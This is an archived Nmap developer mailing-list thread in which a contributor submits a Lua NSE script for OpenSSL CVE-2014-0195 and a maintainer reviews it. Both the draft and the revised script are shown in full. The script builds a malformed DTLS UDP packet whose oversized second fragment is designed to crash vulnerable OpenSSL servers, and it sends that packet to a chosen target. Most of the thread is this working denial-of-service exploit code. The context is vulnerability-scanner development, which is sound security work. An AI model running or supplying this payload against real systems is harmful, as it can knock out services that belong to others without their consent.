Nmap Development mailing list archives

Re: NSE: OpenSSL CVE-2014-0195


From: Loganaden Velvindron <logan () elandsys com>
Date: Sun, 15 Jun 2014 23:41:21 -0700

On Sun, Jun 15, 2014 at 03:25:43PM -0400, Patrick Donnelly wrote:
Hi Loganaden,

On Fri, Jun 13, 2014 at 5:47 PM, Loganaden Velvindron
<logan () elandsys com> wrote:
Hi All,

It's still a work in progress for OpenSSL CVE-2014-0195.

I'll update it soon, as i'm done tweaking it. Meanwhile, feedback welcomed.

Thanks for submitting this script. Feedback inline:

description=[[
Sends a UDP packet containing 2 fragments. CVE-2014-0195 shows that OpenSSL
does not validate the size of subsequent DTLS fragments after the first
one has been sent. This may cause DoS.
]]

---
--@usage nmap -sU -p <portnum> --script cve_2014_0195 --script-args cve_2014_0195.ports=<ports> <target>

Please add example output (@output).

author = "Loganaden Velvindron (logan () elandsys com)"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html";
categories = {"dos", "vuln"}

Please add the script to "intrusive". All scripts must either be
"safe" or "intrusive".

local string = require "string"
local shortport = require "shortport"
local bin = require "bin"
local comm = require "comm"
local stdnse = require "stdnse"

portrule = function(host, port)
  if not stdnse.get_script_args(SCRIPT_NAME .. ".ports") then
    stdnse.print_debug(3,"Skipping '%s' %s, 'ports' argument is missing.",SCRIPT_NAME, SCRIPT_TYPE)
    return false
  end

local ports = stdnse.get_script_args(SCRIPT_NAME .. ".ports")

--print out a debug message if port 443/udp is open
  if port.number==443 and port.protocol == "udp" and not(ports) then
    stdnse.print_debug("Port 443/udp is open. TLS over UDP")
    return false
  end

  return port.protocol == "udp" and stdnse.in_port_range(port, ports:gsub(",",",") ) and
    not(shortport.port_is_excluded(port.number,port.protocol))
end

-- first fragment
local frag1 =
string.char(0x01)
..string.char(0x00) ..bin.pack(">H", 16)
..string.char(0x00, 0x00)
..string.char(0x00, 0x00, 0x00)
..string.char(0x00) ..bin.pack(">H",15)
..string.rep("A",15)

You might find a construction like this easier:

local frag1 = "\x01\x00" .. bin.pack(">H", 16) .. ("\x00"):rep(6) ..
bin.pack(">H",15) .. ("A"):rep(15)

This is using Lua 5.2's hex string support.

-- second fragment
local frag2 =
string.char(0x01)
..string.char(0x00) ..bin.pack(">H", 4098)
..string.char(0x00, 0x00)
..string.char(0x00, 0x00, 0x00)
..string.char(0x00) ..bin.pack(">H",4097)
..string.rep("B",4097)

local msg =
string.char(0x01)
..bin.pack(">H", 0xfeff)
..bin.pack(">H", 0x00)
..string.char(0x00,0x00,0x00,0x00,0x00,0x00)
..bin.pack(">H",string.len(frag1..frag2))

local payload = msg .. frag1 .. frag2

Could you add some comments about how this binary data is derived?

msg is the header and frag1 and frag2 are the 2 fragments.
The first fragment is normal, and the 2nd one is very large on purpose
to cause a crash.



action = function(host, port)
local status, result = comm.exchange(host, port, payload, {proto="udp"})

if not status then
        return false
else
        return true
end

end

Here a detection of the possible DoS would be appropriate I think? In
any case, please provide output to the user saying at least that the
script sent a probe.

Thanks again! I look forward to seeing the finished script.
Please find attached the updated script:

description=[[
Sends a UDP packet containing 2 fragments. CVE-2014-0195 shows that OpenSSL
does not validate the size of subsequent DTLS fragments after the first
one has been sent. This may cause DoS.
]]

---
--@usage nmap -sU -p <portnum> --script cve_2014_0195 --script-args cve_2014_0195.ports=<ports> <target>

author = "Loganaden Velvindron (logan () elandsys com)"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html";
categories = {"intrusive", "dos", "vuln"}

local string = require "string"
local shortport = require "shortport"
local bin = require "bin"
local comm = require "comm"
local stdnse = require "stdnse"

portrule = function(host, port)
  if not stdnse.get_script_args(SCRIPT_NAME .. ".ports") then
    stdnse.print_debug(3,"Skipping '%s' %s, 'ports' argument is missing.",SCRIPT_NAME, SCRIPT_TYPE)
    return false
  end

local ports = stdnse.get_script_args(SCRIPT_NAME .. ".ports")

--print out a debug message if port 443/udp is open
  if port.number==443 and port.protocol == "udp" and not(ports) then
    stdnse.print_debug("Port 443/udp is open. TLS over UDP")
    return false
  end

  return port.protocol == "udp" and stdnse.in_port_range(port, ports:gsub(",",",") ) and
    not(shortport.port_is_excluded(port.number,port.protocol))
end

-- first fragment
local frag1 = 
"\x01"
.."\x00" ..bin.pack(">H", 16)
.."\x00\x00"
.."\x00\x00\x00"
.."\x00" ..bin.pack(">H",15)
..string.rep("A",15)

-- second fragment
local frag2 =
"\x01"
.."\x00" ..bin.pack(">H", 4098)
.."\x00\x00"
.."\x00\x00\x00"
.."\x00" ..bin.pack(">H",4097)
..string.rep("B",4097)

local msg = 
string.char(0x01)
..bin.pack(">H", 0xfeff)
..bin.pack(">H", 0x00)
.."\x00\x00\x00\x00\x00\x00"
..bin.pack(">H",string.len(frag1..frag2))

local payload = msg .. frag1 .. frag2

action = function(host, port)
local status, result = comm.exchange(host, port, payload, {proto="udp"})

stdnse.print_debug(0, "UDP packet sent")

if not status then
        return false
else
        return true 
end

end


-- 
Patrick Donnelly
_______________________________________________
Sent through the dev mailing list
http://nmap.org/mailman/listinfo/dev
Archived at http://seclists.org/nmap-dev/
_______________________________________________
Sent through the dev mailing list
http://nmap.org/mailman/listinfo/dev
Archived at http://seclists.org/nmap-dev/


Current thread: